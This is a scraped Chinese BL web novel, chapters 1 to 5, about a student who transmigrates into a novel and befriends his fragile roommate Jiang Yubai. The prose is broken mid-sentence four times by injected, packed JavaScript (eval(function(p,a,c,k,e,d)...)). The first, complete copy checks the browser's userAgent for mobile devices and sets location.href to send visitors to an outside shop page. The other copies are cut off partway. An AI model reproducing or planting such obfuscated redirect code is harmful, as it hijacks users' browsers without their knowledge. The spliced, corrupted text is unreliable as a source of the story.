《你不是病弱白月光吗?》 1. 穿书 顾蕴躺在床上,一脸菜色地盯着深绿色的床帘,耳边飘荡着室友的说话声。 按目前的情况来看,说话的人应该是“他”的室友。 只是这个他,是原主,不是顾蕴。 没错,顾蕴穿越了,睁眼前他还在教室里和他的同桌说话,睁眼后他就出现在了一张陌生的床上。 室友的声音清晰地穿透床帘,毫无遗漏地传入顾蕴的耳畔。 “江予白要申请外宿吗?真的假的?” “为什么啊,宿舍里面又没谁得罪他——好吧!我大概知道是谁了……” 顾蕴的脑袋迅速捕捉到关键信息:江予白。 如果他没听错的话,室友提到的人名就是江予白。顾蕴最近只听过一个江予白,那就是他同桌嘴里的那一个。 顾蕴愣在原地,脑海中回响起穿越前同桌在耳边说的那些话。 “江予白成绩巨好,班长!他就和你一样一直是全市第一,高考还是全省第一!他真的好聪明,而且他妈妈超级温柔,爸爸也很有钱,虽然不是首富,但是比我们有钱很多,最重要的是江予白他人还贼漂亮,性格贼好,超多人追他,简直是所有人心中白月光的存在。” 同桌叹了口气:“如果不是宋怀墨,他的人生一定非常完美顺遂。” “宋怀墨是江予白的邻居,两个人从小一起长大,他喜欢江予白。 宋怀墨向江予白表白,江予白一开始没答应,但是宋怀墨还是穷追不舍死缠烂打!” 同桌愤愤不平:“宋怀墨真的是个死渣男,狗东西!就是个不要脸的臭玩意!” 他骂完,却没看到顾蕴的反应,他凑近,推了推顾蕴的肩膀询问:“蕴哥?班长?你在听我说吗?” 班长这张脸不管看多少遍都不会厌,同桌感慨,这都是他们同桌的第二年了,盯着班长的脸看时还是会被他的容貌恍惚到。 顾蕴的皮相和骨相都极为出众,无论从哪个角度看都完美无瑕。哪怕此刻他眼下乌青,也依旧未削减他的美感,反而一改以往明朗,增添了几分颓然的韵味,是另外一种风格的帅气。 除去皮相,顾蕴的成绩也非常优异,三年来一直稳居全市前三,家长们早早就打听好了,在他还没高考完的时候就提前预定了他的笔记。 对方付的酬劳不菲,顾蕴正愁大学的学费和生活费,自然没有理由拒绝这次赚钱的机会。考试一结束,他就马不停蹄地开始整理笔记,一连七天都没休息好,整个人精神状态直线下降。 这会儿就只是坐着,他也感觉自己下一秒就能睡过去,疲惫随时会把他拖进梦乡。 顾蕴不想让同学担心,对方一喊他,他立刻打起精神,回应道:“我在听呢,宋怀墨做了什么坏事?怎么喊他狗东西?” 要说顾蕴整理了七天笔记,那这位同学就连看了七天小说,他没有丝毫察觉顾蕴的异常,一听对方这么问,气愤道:“他在一次表白被拒后,去酒吧喝酒,喝醉了之后和一个服务员睡了!” “啊?”顾蕴怀疑自己困得出现了幻听,双眼圆睁,满是惊讶。 对上顾蕴茫然的眼神以及帅气的脸蛋,同桌的脸唰得一下就红了。 总感觉在班长面前说这个词好像在亵渎班长一样。 他结结巴巴道:“反正就是这样,他,发生这种事,正常人哪还有脸追别人,但是宋怀墨,脸皮超级厚了,还想要脚踏两只船!” “服务员不是长期工,他叫唐小酒,是江予白学校对面那个学校的学生,只不过唐小酒家境贫穷,母亲缺钱做手术,这才去来钱快的酒吧兼职。 唐小酒的眉眼有点像江予白,宋怀墨喝醉认错了人,把唐小酒当成了江予白,两个人发生了……关系。” “宋怀墨第二天醒来之后,还恍惚了一下,但他一听唐小酒缺钱,又看着那张和江予白相似的脸,心念一动,提出要包/养唐小酒——纯粹□□,不带感情的那种包/养,因为宋怀墨还放不下江予白,他还要继续追求江予白。” 顾蕴吐槽道:“唐小酒答应了吗?宋怀墨也太不尊重人了吧!” 同桌附和:“就是啊!” “这是唐小酒认为唯一一个能救母亲的机会,所以他毫不犹豫地答应了。原本各取所需,但狗血的是,唐小酒喜欢上了宋怀墨…… 更狗血的是,宋怀墨一心追求江予白,江予白被他的恒心打动,答应了要跟他在一起,最后也喜欢上了宋怀墨。” “江予白就是太心软了,宋怀墨死缠烂打他就答应了,可惜宋怀墨表现出来的都是假面目,江予白完完全全被他蒙蔽。 一边是一夜风流的唐小酒,一边是喜欢多年的白月光,宋怀墨毫不犹豫地选择了江予白,但背地里又和唐小酒纠缠不清,唐小酒被虐身虐心,伤心欲绝之下,假自杀死遁离开了宋怀墨。 故事最狗血的地方来了,唐小酒假死之后,宋怀墨这才意识到自己真正喜欢的人是唐小酒!” 同桌滔滔不绝,压根没给顾蕴说话的机会,他语气波澜起伏,牢牢地抓住了顾蕴的注意力。 “宋怀墨伤心欲绝痛苦万分,认为是江予白蒙蔽了他的双眼,从此记恨上了江予白。 他设计让江家破产,江父在拉投资的时候出车祸不治身亡,江母受不了打击,没多久也去世了。 江予白天生体弱,身体本来就不太好,他强忍伤心,想要挽救摇摇欲坠的公司,但在死渣男家大业大,在他的淫威下,没有一个人愿意和江予白合作。 但是宋怀墨的报复计划并没有结束,让江家破产只是他的第一步。 江予白不知道之后他面对的会是无穷无尽的折磨。 他的事业被扼杀,再之后,漂亮的脸蛋被划花,求职受阻,被欺负,甚至被死渣男设计关进了精神病院,最后在精神病院度过余生。” “江予白死的时候,刚好是春天,春暖花开,电视上还在播放宋怀墨和唐小酒的盛世婚礼,可是电视外,精神病院里,凉嗖嗖的,没有太阳,江予白被护工电击,在感观消失之前,他还看见他的父母站在眼前,笑容和蔼地想要牵着他的手……” 同桌一边说一边哭,“你都不知道江予白有多惨,好可怜好可怜真的好可怜呜呜呜……” 辜负真心的人该吞下一万根针,可是在这个故事里,付出真心的人受尽折磨,坏人反而潇洒得意。 赤忱青年共情能力强,对宋怀墨的气愤夹杂着对江予白的同情,两种情绪在顾蕴的大脑交织,他的视线在刹那间陷入一片漆黑。 等顾蕴再次睁开眼睛,他正躺在一张陌生的床上,陌生的环境让顾蕴变得警惕,他下意识屏住呼吸,观察着周围的情况。 根据他多年的住宿经验,这明显是宿舍的床,小小窄窄的,胳膊和腿伸直甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090277|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至会触碰到墙壁和衣物。 深色的床帘遮光效果好,只在缝隙中有光线透进来,顾蕴甚至分不清现在是白天还是黑夜。 他悄悄地挪动着手臂,眼睛贴在两片床帘的缝隙之中,透过缝隙见到了那位正在说话的室友。 也就是在这个时候,室友正巧回头,对上了缝隙中的眼睛,他一愣:“顾蕴你在宿舍啊?” 原本只是打算悄悄瞥一眼,不料却被室友当场逮个正着。 更糟糕的是,对方刚才好像在和人打电话,顾蕴的这一连串动作仿佛是在偷听。他紧张地屏住呼吸,担心室友会介意,略显局促地说道:“我刚刚在睡觉。” 室友信以为真,连忙道歉,就好像顾蕴是张着血盆大口的怪物一样:“哦,刚才不好意思,我以为宿舍没有人才接电话的,吵到你了。” 顾蕴咧着嘴笑,下意识回道:“没事,我睡得——” 他正说着话,猛地意识到自己所处的并非熟悉的世界,眼前的人全然是个陌生人,而且现在他也不是自己。 好在室友并没有在意顾蕴说的话,他只当顾蕴又抽风了,习以为常地扭头,跟电话那头说了几句,随后就结束了通话。 顾蕴合上床帘,隔绝出一个独立密闭的小空间,撑着脑袋思考人生。 五分钟后,他拍了拍脑袋,低声自言自语:“不是说穿书的人都会有系统吗?我怎么没有?难道是时间还没到?” “而且我怎么没有原主的记忆啊?我是个什么人设啊?” 得益于博览群书的同桌,顾蕴虽然不爱看小说,但对小说里一些基础的设定,他还是很了解的。 此刻没有记忆、也没有系统的顾蕴很惶恐,直到他摸到枕头下的手机,这才松了口气。 顾蕴眼前一亮,默默跟原主道了声歉,随后毫不犹豫地解锁了手机。 要想要了解一个人,首先肯定是要从聊天记录开始的。 这还是顾蕴第一次偷看别人的隐私,每翻一个人,他就在心底道一次歉,等他从企鹅翻到微信,心底都不知道说了多少句对不起了。 原主的人缘好像不是很好,跟他聊天的人不多,大部分都是学委催交作业、团支书催交青年大学习截图这类的聊天,再不然就是他和人吵架。 当然,原主最活跃的还是游戏群,和一个……顾蕴没太看懂的群。 有点奇怪,顾蕴顺藤摸瓜,摸到了群成员来源的软件,软件的图标是蓝白色的,光看app名称也得不到什么有效消息。 顾蕴点进去一看,在后台随机选了一个聊天框点了进去,然后,他的双眼受到了暴击。 对面发来一张人体生殖器官的图,再配上两个大大的“约吗?” 原主竟然是同性恋?! 这还不算什么,等顾蕴再往下看,那才是真正的晴天霹雳。 原主的回答很急切详细,就像是迫不及待地想要把人约出去。 G:【约,地址在哪?哪个房间号?先去逛逛还是……?我第一次约不太了解流程。】 G:【腹肌照】 万一原主和对面这位豪放兄是一见钟情、两情相悦呢……抱着这种想法,顾蕴尝试着换了一个聊天框。 然后他发现,换多少个聊天框都没有任何区别。 每一个对话的开头都是这样:约吗?约。 天塌了。 2. 天崩开局 前十几年都在认真学习,顾蕴的脑袋里暂时还没来得及摄入这种抽象的东西,眼前的事实对他无异于暴击。 好在原主只在网上聊,而且据顾蕴刚刚观察结果可以判断,原主确实是第一次在网上约人,只不过还没约成功他就穿过来了。 顾蕴悬着的心放了下来,他刚想躺下,却被脚边的衣服绊住,手一滑,手机就摔在了床上。 夏天的床仅仅铺了层凉席,手机直接落在床板上,发出了沉闷但巨大的声响。 室友本能地抬头看了一眼,意识到这声响动只能是顾蕴发出的之后,他利落地离开了宿舍,以免顾蕴又在宿舍发神经迁怒于他。 床帘内的顾蕴紧握着手机,听到关门声后,这才松了一口气,他小心翼翼地从床帘的掩护中探出头来,确认没第二个人这才从床上下来。 这是一个上床下桌的四人寝,其中一个床位上堆满了杂物,余下三个床位都放着各自的日常用品,顾蕴的桌子最杂乱,刚才在的那个室友桌子杂物比较多,但乱中有序,剩下那一张桌子东西不多,是三个人之中最整洁的。 顾蕴在宿舍里转了一圈,眼神四处打量,仔细观察着这个熟悉而又陌生的空间,每一步都显得轻盈而谨慎,唯恐室友突然出现。 他观察完宿舍情况,又翻了翻微信,却依旧一脸迷茫。 原主的室友们到底是谁? 但当视线再次落回原主桌子上时,顾蕴浅浅叹了口气,往前迈进一步,将散乱的纸巾丢进垃圾桶,再逐一捡起桌上的物品,一件件地摆放整齐。 一直到桌面的每一寸木纹都清晰可见,顾蕴才放下手中的布,后退了一步,审视着自己的劳动成果,满意地点了点头后,爬上床把床铺上乱七八糟的衣物都整理好。 等做完这些,他洗了个澡,冷静下来后又重新盯着原主微信里的那个群。 修长的手指轻触屏幕,顾蕴点进了退群的界面,他在思考要不要退出群聊。 万一明天短暂的穿书就结束了呢?他这种被迫让原主退群的行为是不是不太合适? 原主的行为虽然不太道德,但到底是他个人的选择,他还是不要替原主做决定吧。思来想去,顾蕴最后还是没退群和注销账号。 顾蕴默默闭上双眼,寄希望于明天一醒就能回到自己的世界,这样一想,他安然地躺在床上,枕着柔软并不香甜的枕头,陷入了梦乡。 — 在早睡和生物钟的双重影响下,顾蕴早早就醒来了,他直愣愣地坐着,深绿的床帘将他围绕。 顾蕴发现,他还在这里! 这样的认知让顾蕴睡意全无,他打了个冷颤,轻手轻脚地从床上爬了下去,洗漱好之后迎着冷风围着操场跑了几圈。 他的同桌也没说听了他复述的小说还能穿书啊。 其实除了他的朋友外,顾蕴在自己的世界里没什么特别值得留恋的。 他的适应能力非常强大,意识到自己可能回不去后,顾蕴选择先填饱饥肠辘辘的肚子,以及卸载那个莫名其妙的软件和退出那个奇怪的群聊。 原主家境好像不是太好,这才月中,他的微信里就只有两百块钱了,这比顾蕴最穷的时候要好一点,但也没好到哪去。 好在学校食堂物价低,顾蕴买了两个馒头,最后只花了一块钱。 买好早餐之后,他准备去办张新电话卡。 顾蕴不打算动原主的账号,但是要把原主和自己区分开来。毕竟他来得莫名其妙,指不定哪天莫名其妙地也就回去了。 顾蕴看了眼时间,这会儿才早上七点半,营业厅一般八点开门,半个小时的时间足够他走到营业厅。 等办好电话卡回来,路过篮球场时,顾蕴停下了脚步。 八点对于不上早八的大学生来说还是很早,篮球场人不多,只有三两个人在打篮球,他们的球技看起来还不错。 自从上了高三,班主任抓得严,顾蕴再也没有过在下课铃响前抱着篮球冲出教室的机会了,再加上高三假少,他已经很久没打球了。 顾蕴站在篮球场面前认真地看着,到底没忍住,挥手询问:“嗨,介意加我一个不?” 正在运球的三个人目光齐齐看向顾蕴,异口同声道:“来啊。” 一得到回复顾蕴就屁颠屁颠跑了过去,眼里仿佛闪着亮光,璀璨夺目。 顾蕴一边运球,一边道:“我很久没打球了,可能还要适应一会会。” 在话语间,他迅速过掉防守的球员,一个变向,又一个加速,轻松突破到篮下,在一个轻盈的跳投,篮球划过一道弧线,空心入网。 刚认识还不了解顾蕴的球技,但对他的话深信不疑,最后导致防守失败的宋瑞:“???” 顾蕴摸了摸头,“这个球手感真好。” 宋瑞:“……再来一次!” 顾蕴没有丝毫犹豫,宋瑞再一次失败。 不知道几个来回下,三个人都放弃挣扎,不约而同叫唤:“哥,你真的太牛了!” 顾蕴轻轻耸了耸肩,露出了一个阳光般灿烂的笑容,“我们加个微信吧,以后可以一起约球!” 他目光诚恳,语气真挚,而且球技又高,最重要的是那张脸赏心悦目,一看就不像居心叵测的坏人,三个人立马放下了戒备,二话不说就亮出微信加上了顾蕴。 顾蕴刚办的电话卡派上了用场,一一备注好后,他把篮球扔给对方,目光落在了站在篮球场面前的清瘦身影上,“那你们先打,我过去一下。” 路过看他们打球的人不少,但停留这么久的人不多,因此这个身影额外引人注目,顾蕴早就注意到了。 阳光从云层的缝隙中洒落,在他身上投下零星的亮斑,显得有些落寞,顾蕴向那道身影迈进。 那人似乎感应到了有人靠近,就在顾蕴即将伸出手触及他的那一刹那,他突然抬起头来,顾蕴的目光瞬间定格,清晰地捕捉到了对方的面容。 这是一张极为漂亮的脸,脸庞轮廓精致,鼻梁挺立,仿佛经过精心雕琢一般,皮肤苍白得近乎透明,细看之下,还能隐约见到微弱的血管脉络。 看到来人是顾蕴时,他的眉头轻轻一蹙,唇边勾勒出一抹轻微下垂的弧度。 顾蕴的视线不由自主地集中在了这张唇上,唇色浅浅的,看起来有些苍白,线条却流畅而丰盈,显得异常柔软。 整体给人一种既美丽又脆弱,仿佛一阵风就能将他吹倒的感觉,顾蕴只觉得对方特别合他眼缘,他有些紧张:“同学,好巧啊,你也喜欢打篮球吗?我们加个联系方式吧?有空可以一起打球呀。” 江予白双手环在胸前,上下打量着顾蕴,似乎在疑惑他又在玩什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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得益于王明亮提醒他的时间早,老师又从一班开始按顺序点名,因此顾蕴偷溜进教室的时候,老师还没点到他,他很幸运地逃过一劫。 顾蕴的眼睛垂下来,抚了抚即将跳出胸腔的心脏。 王明亮见他的动作,忍不住感叹:“你从宿舍来的吗?这么快!” 顾蕴望向声音的来源,在他的右侧见到了一张和他的室友一模一样的面孔,同时很快意识到面前这人就是微信上给他发消息的人。 原来他的室友之一叫王明亮啊。 那他另外一个室友叫什么?坐在王明亮的旁边吗? 顾蕴摇头,低声回答完王明亮的问题后,望向王明亮的右侧,想要看清那里坐着的人,试图找出另外一个室友。 不认识。 顾蕴看了两眼,放弃了,脑袋里空空如也,对旁侧的面孔没有半点印象。 正当顾蕴准备将目光移开之际,他的目光突然凝固,脸上露出了一丝淡淡的惊讶,视线落在了一道背影之上。 那人坐得笔直,头微微低垂,像是在沉思着什么,教室的喧嚣似乎与他无关。 3. 江予白 顾蕴原想借查人看看这位同学的名字,但很可惜,点名已经进行到末尾,没给他这个机会,他也只能无奈放弃。 清点完人数后,老师拿着书开始上课。 顾蕴是急匆匆跑过来的,除了手机,其它什么也没带,但学生的本能让他选择了认真听课。 原主学的金融,顾蕴虽然聪明,但耐不住这是大一下学期的课程,而且他没有书,老师还带点奇奇怪怪的口音,顾蕴听得晕头转向。 点完名旁边这人没溜,反倒还在认真听课,面对这番场景,王明亮只觉得太阳从西边出来了。 他把手机黑屏,试探地把自己的书推了过去,然后用草稿本盖住手机,“你用我的书吧,我不听课。” 后半句话说得鬼鬼祟祟,生怕老师听见。 顾蕴错愕地望着面前的书,在王明亮点头示意下,接过了书。有了书之后就好理解多了,一节课下来,他的脑袋里灌满了新知识。 顾蕴刚研究课程表发现他下午没课,便改了原计划,想趁着知识点还新鲜,准备下午去图书馆复习巩固一下。 等顾蕴一走,王明亮迫不及待地翻开被顾蕴写过的书,在见到上面整整齐齐的笔记时,两只眼睛肉眼可见地瞪大,露出大半眼白。 王明亮想到上课时顾蕴轻声问他,能不能在他书上记笔记的场景,他当时还以为顾蕴想出了新招搞他,要在他书上画小人。 没成想对方是真学啊。 顾蕴到宿舍的时候,宿舍里面空无一人,那个神秘的室友还没有出现。 得益于顾蕴昨天整理了原主的东西,今天他很快就拿到了刚才上课的书,把东西都收好之后,他拿起手机出门。 几乎在手触碰到手机的瞬间,微信提示音响了起来。 是他在篮球场碰到的那个同学。 聊天界面干巴巴的,只显示了一句:我通过了你的朋友验证请求,现在我们可以开始聊天了 顾蕴手指一动,发了个你好。 又加了句,我叫顾蕴。 宿舍门在这个时候被推开,顾蕴的手正搭在门把上,眼睛还黏在手机屏幕上,听到动静之后也顾不得抬头,只往后退了一步,把进宿舍的位置让了出来。 他以为是王明亮回来了,便说道:“今天谢谢你了,要不是你我就要挂科了。” 来人没回答他,顾蕴疑惑地抬起头。 王明亮也不像是不爱理人的人啊? 等看清面前这人的五官轮廓,顾蕴愣住了,这是他另外一个室友? 这个世界竟然这么小,小到他在篮球场精准找到了他的室友。 只能说缘分真的很奇妙,奇妙到顾蕴对这个室友有着莫名的好感。他把书包放回了桌子上,准备和室友聊聊天再走。 顾蕴吊车尾的成绩以及不来上课的光荣事迹在专业里也是出了名的,每周通报批评公告里都少不了顾蕴的名字。 江予白还以为顾蕴无所谓挂不挂科呢,倒真没想到他也是会怕挂科的人。 许是觉得诧异,江予白多看了顾蕴两眼,但这两眼并没有持续太久,他也没有说话,绕开顾蕴,径直往自己的床位走。 他是来宿舍收拾行李的。 学校规定大一学生不允许外宿,江予白都住了一个学期宿舍了,原本也没想利用特权搬出去。但谁知道这个学期开学不久,他的室友,也就是顾蕴,竟然在微信上向他表白了。 江予白能忍受顾蕴在宿舍的一些坏毛病,但绝不能接受和一个喜欢他的人住在一起。 更何况这个人居心叵测,不安好心。 顾蕴没有原主的记忆,完全不知晓原主和面前这人之间还有这样一段经历,他只觉得这个室友看起来柔柔弱弱,也挺不爱说话的。 估计是有点社恐,怪不得当时没有拒绝加他的新微信。 突然想到这里,顾蕴的瞳孔猛地放大。他好像在他室友有原主微信号的情况下,又用了新的微信号申请加他! 不过好在他只发了一个姓名,室友应该不会多想吧。顾蕴按了按太阳穴,非常乐观地猜测。 不等顾蕴想起来到底哪里熟悉,宿舍门被人猛地推开。 王明亮正捧着手机跟人打电话,心情很是亢奋:“哎呦我也觉得很新奇,今天太阳肯定是从西边出来的。” 王明亮:“平时他可没……” 在意识到宿舍里有人之后,他的声音突然止在了喉咙里,生硬地改口道:“顾蕴,你在宿舍呢。” 顾蕴嗯了一句,王明亮的视线落到了远处,他有些意外:“江哥你也在宿舍呢。” 其实王明亮是宿舍最大的,他喊江予白哥也只是因为在他被冤枉,哭得一把鼻涕一把泪时,江予白十分硬气地帮他说话,在辅导员面前帮了他。 虽然江予白不承认这个小弟,但从那以后,江予白就是他王明亮唯一的哥。 江予白对他不像对顾蕴那样冷淡,好声好气地应了声。 王明亮的目光在顾蕴和江予白身上反复交换,他自以为隐晦,江予白忙着整理行李没注意,顾蕴却是看得一清二楚。 这眼神怎么那么奇怪,就好像村口吃瓜群众在等一场腥风血雨的大战一样……? 顾蕴疑惑地拿起手机,在班级群里一搜,最先出来的就是一个带有小鱼头像的微信号。 为了方便统一管理,班级群成员的命名都是以学号加姓名的形式,这就方便了顾蕴。 视线往下,他一眼就看到了室友的名字。 江予白。 这个名字还挺好听的,就是有点熟……悉。 顾蕴的笑容僵住了,这三个字分开他都会读,合起来的发音怎么那么烫嘴。 江予白是男生??? 这本书的重要两个重要角色竟然都是男生?! 他分明记得他的同桌骂宋怀墨是渣男,那宋怀墨是男生,江予白不就是女生吗? 顾蕴没接触过同性恋,他的脑袋里压根就没有同性恋这一概念,再者他的同桌描述江予白时用的是漂亮这两个字,谁家好人用漂亮来形容男生啊。 然而当顾蕴侧目,余光中闪过江予白的侧脸,他又有些傻眼。 ……其实他同桌形容的好像也没有错。不仅没有错,而且还很贴切,江予白就是很漂亮,这两个字仿佛就是为江予白而生的。 从不可置信到坦然接受,顾蕴只用了三秒。 顾蕴释然了,他侧身坐着,单手撑着椅子靠背,视线落到了江予白身上。 两个男生谈恋爱吗?好奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾蕴这个点踩得合适,也不知道他到底听了多少。王明亮自觉刚才好像讲了顾蕴的坏话,这会儿有些心虚,哈哈笑了两声:“你这么快就回来了啊。” 顾蕴洗了手,扯了张纸擦拭:“垃圾桶不远,挺快的。” 江予白整理东西的动作没停,在两人的尬聊中插了句:“是打篮球锻炼出来的速度吗?我看你打篮球挺厉害的。” 话说完,他放下手中的东西,乌黑深邃的眼睛紧盯着顾蕴的表情变化。 如果不是今天早上看到,他还不知道顾蕴的球技这么好呢。 顾蕴毫不犹豫地回答道,但话说一半,他又意识到原主不像爱打球的人,便急忙刹住车,话音一转给自己找补:“也算是的……以前我打球挺多的,现在又重新捡起来了,你想打球可以找我啊。” 这个问题就好像是江予白无意间问起,他对顾蕴的回答好像并没有太多反应,“好。” 江予白的目光随之掠过,随即拿起了刚才放下的东西,结束了这个话题。 顾蕴轻轻地吐出了一口气,原本紧绷的脊背略微放松了一些,他完全没意识到这是江予白故意提的问题,只当江予白是误打误撞,还在庆幸自己提前察觉了。 4. 恋爱脑 顾蕴没在宿舍久待,他背着书包出了宿舍,才把门关上,没过几分钟就听到门开的声音,回头一看,江予白推着行李箱走了出来。 这个行李箱非常大,大约28寸的样子,其实江予白有一米八二,还挺高的,但衣服穿在他身上显得额外空荡,腰细得仿佛轻轻一捏就能折断,看起来极其脆弱,顾蕴总感觉这个巨大无比的行李箱下一秒就会把他压垮。 果不其然,下一秒,顾蕴就看见江予白掩着脸咳了两声。 声音很浅,带着一丝不易察觉的颤抖,瘦削的肩膀随着咳嗽的节奏微微起伏,尽管动作幅度不大,但在顾蕴的眼中却异常清晰。 顾蕴记得,同桌无数次描述过江予白天生体弱多病,身体不太好。 这么重的行李箱,江予白一个人真能搬下去吗? 顾蕴看了一眼,没忍住又看了一眼,最后还是没忍住,开口道:“我帮你提下去吧。” 江予白面露诧异,清冷漂亮的眼睛望向顾蕴,“这可是四楼。” 挺不可思议的。 顾蕴竟然还会帮人。难不成他以为自己会拒绝,这才故意问的? 那就好玩了,这么想着,江予白松开了手,期待着顾蕴的反应。 顾蕴顺势接过行李箱,双臂紧绷,露出清晰可见的肌肉线条,随即用力提起,拎着行李箱稳步下了楼梯。 还真帮忙啊? 江予白愣了一瞬,随后颇有兴致地望向拎着行李箱的那个背影。 顾蕴提着行李箱走在前面,完全没注意身后人没跟上来,等下了一层楼,没听到声音,回头看才发现身后没有江予白的身影。 他抬头,透过楼梯扶手的缝隙,看见了江予白笔直修长的双腿。 “江予白?你还要拿别的东西吗?”顾蕴问,“需要我上去帮忙吗?” 江予白心想,今天的太阳或许是从西边出来了,他说了句没有,下了楼。 顾蕴没当回事,应道:“哦,好。” 走到顾蕴身边时,江予白才从唇齿中憋出句谢谢。 他声音很轻,但楼道安静,这一道声音顺着风钻进了顾蕴的耳朵里,痒痒的。 顾蕴摸了摸头,“不用谢,我们是室友,应该的。” 江予白对此表示沉默。 下楼的时候,顾蕴走在前面,江予白跟在他身后,他一边走一边想,该不该提醒江予白远离宋怀墨。 但是顾蕴回头看了江予白好多次,身后的人一直低着脑袋,紧抿着唇角,仿佛与世隔绝一样,顾蕴的话到嘴边又收了回去。 算了,看起来也不是那么好骗的样子。 顾蕴把行李箱拎到了宿舍楼门口,得知江予白在等司机之后,他就先离开了。 “少爷,您怎么自己把行李箱搬下来了,这么重,累到了吧。” 司机是看着江予白长大的,慈祥的脸上满满全是痛心,恨不得翻开江予白的手掌看看有没有被行李箱磨破皮。 “不是我搬的。”江予白顿了顿,“李叔,您别喊我少爷。” 李叔尴尬地笑了笑,“少爷,下次我一定记得。” 江予白:…… 车窗外的树木倒退,江予白撑着脸,若有所思:“李叔,你说会有人被鬼附身吗?” 李叔苦口婆心,认真劝导:“少爷,我们是社会主义国家,封建迷信是不对的。” 江予白:“也是。” 顾蕴完全不知道江予白是怎么想他的,此刻他正在图书馆认真看着书。 上课的时候没有提前准备,又跳了几章,顾蕴当时没理解,现下看完前几章的内容,他只觉恍然大悟,书上的内容就像树根一样呈现在他眼前,错杂交乱,但细看又能挖掘到其中的关联。 等顾蕴预习完后两节的内容,天已经暗了下来,他把书一一收进书包,又将椅子抬回原先的位置,这才离开图书馆,直奔食堂。 在图书馆、教室、宿舍和篮球场四点一线好几天之后,顾蕴终于适应了大学生活。 除此之外,他还了解了大家对原主的印象 ——没印象 原主平日里不怎么说话,什么活动都不参加,课也不去上,同学这么久,没人清楚顾蕴真正的性格。 这个结果顾蕴非常满意,他可以完全放飞自我,不用局限在原主性格的框架下。 除了要跟他的室友王明亮和江予白解释…… 等等。 他好像好几天没看见江予白来宿舍了。 顾蕴这几天一直忙于学业,没有特别关注江予白的动态,这会儿他突然意识到,江予白很有可能要退宿了。 宿舍大门被一堆人围住,抱着有热闹不看白不看的想法,顾蕴站在人群外围,借着身高优势,一眼瞧见了被围在里边的人。 说曹操曹操就到,前脚他还在想江予白要退宿,后脚就在宿舍两下瞧见了江予白。 只不过……这个场景是什么意思? 围在最外层的是人,缠住江予白脚步的是大片玫瑰花瓣,花瓣旁摆着白色蜡烛,猩红的烛心随风变幻,下一秒仿佛要把江予白吞没。 江予白的对面站着一个人,手捧着玫瑰花,花束上坠着亮闪闪的星星灯,像火星,离江予白越来越近。 顾蕴挤在人群时,甚至听到旁边两个人小声交谈,话语间满是艳羡:“好羡慕啊,这么帅还这么有钱,什么时候我能碰到这样的追求者。” “就是说,这都是这个月第三回了吧……” 江予白在顾蕴的右后方,这个角度看不到江予白的神情,只依稀看见他伸出了手,像要接过宋怀墨手中的花束。 周围的人在欢呼,大声起哄:“答应他!答应他!答应他!” “亲一个亲一个!” 顾蕴心一紧。 他不知道剧情发展到了哪一步,唯恐江予白是要接受宋怀墨的表白,情急之下,他挤进人群之中,快步走到江予白身边,拉着江予白就往宿舍跑。 看热闹的人许是没见过这种场面,见顾蕴火急火燎,自觉让出了路供他离开。 他们和宋怀墨又不熟,虽然知道这人是富二代,但拦住江予白和顾蕴对他们没什么好处,反倒是不拦住还有热闹看,于是顾蕴非常顺利地拉着江予白跑出了人群。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾蕴闭了闭眼睛,心里泛起淡淡的绝望。江予白不仅红着脸,还打算出去答应宋怀墨的表白。 完蛋啦! 同桌复述的有错,这还没谈恋爱呢,江予白就对宋怀墨有好感了,要真谈了那更加完蛋。 江予白真是个恋爱脑。 江予白现在百分百确认了一个事实:顾蕴被鬼上身了。 他换了方向,没再下楼,转而往楼上走,从顾蕴身边经过时,他瞧见顾蕴脸上的不可置信。 顾蕴连忙跟上,趁上楼的间隙打听:“你不打算出去啊?” 江予白没说话,顾蕴换了个问法:“你是不是打算退宿啊?是要回宿舍拿上次没带走的东西吗?” 身为江予白的室友,问问也正常吧,一点也不奇怪,顾蕴问得很理直气壮。 江予白停下脚步,侧着头:“不退了。” “退也……”顾蕴的话说到一半,突然意识到江予白说的是不退,“不退吗?” “对,让你看看恋爱脑是怎么被僵尸吃掉的。” 5. 跟屁虫 顾蕴躺在床上,翻来覆去怎么都睡不着。江予白到底是什么意思啊,他到底是不是恋爱脑啊? 而且江予白说这话的时候还笑了,眼睛弯弯的像月牙,冲散了周身的冷气,不再像那个只可远观不可亵玩的高岭之花,看着确实很容易恋爱脑…… 这么看,顾蕴的担忧也并非全无道理。 但那句话到底是什么意思,顾蕴不知道,也没法知道。 提醒一句就够了吧,成年人可以为自己的行为负责,他操心那么多干嘛呢,只是室友而已。 顾蕴闭着眼睛,迷迷糊糊地想着。 第二天,顾蕴像往常那样出门去图书馆,走到二楼时,从一楼突然冒出好几个牛高马大的壮汉,顾蕴被他们拦住。 